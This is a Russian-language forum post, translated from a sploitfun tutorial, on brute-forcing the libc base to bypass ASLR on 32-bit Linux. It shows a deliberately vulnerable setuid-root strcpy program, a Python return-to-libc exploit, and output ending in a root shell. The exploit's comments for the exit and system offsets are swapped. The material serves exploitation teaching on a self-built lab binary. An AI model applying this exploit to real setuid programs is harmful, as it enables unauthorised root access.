В этой методике обхода ASLR злоумышленник выбирает конкретный базовый адрес libc и вычисляет каждый возможный адрес корневой оболочки методом подбора. Этот метод является самым простым из тех, что обходят ASLR, если вам повезет :)

Уязвимый код:
Код:
//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
 char buf[256];
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 fflush(stdout);
 return 0;
}

Команды компиляции:

Код:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

Теперь давайте посмотрим, как злоумышленник перебирает базовый адрес libc. Ниже приведены различные базовые адреса libc (когда включена рандомизация):
Код:
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000)
$

Как показано выше, рандомизация libc ограничена 8 битами. Следовательно, максимум 256 попыток должны дать нам корневую оболочку. В приведенном ниже коде эксплойта можно выбрать базовый адрес libc равный 0xb7595000 и сделать несколько попыток.

Код эксплойта:

Код:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

libc_base_addr = 0xb7595000
exit_off = 0x00032be0             #Obtained from "readelf -s libc.so.6 | grep system" command.
system_off = 0x0003f060           #Obtained from "readelf -s libc.so.6 | grep exit" command.
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = 0x804827d

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

# Junk + system + exit + system_arg
buf = "A" * 268
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(system_arg)

print "Calling vulnerable program"
#Multiple tries until we get lucky
i = 0
while (i < 256):
 print "Number of tries: %d" %i
 i += 1
 ret = call(["./vuln", buf])
 if (not ret):
  break
 else:
  print "Exploit failed"

Запуск приведенного выше кода эксплойта дает нам корневую оболочку (как показано ниже):

Код:
$ python exp.py 
Calling vulnerable program
Number of tries: 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
Exploit failed
...
Number of tries: 42
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
Exploit failed
Number of tries: 43
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

ПРИМЕЧАНИЕ: Аналогично, адрес стека и сегмента кучи также может быть перебран!

Оригинальная статья: https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-ii/
neopaket
Отдельное спасибо weaver и admin
Если хотите задонатить мне, то мои кошельки указаны в профиле :p
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх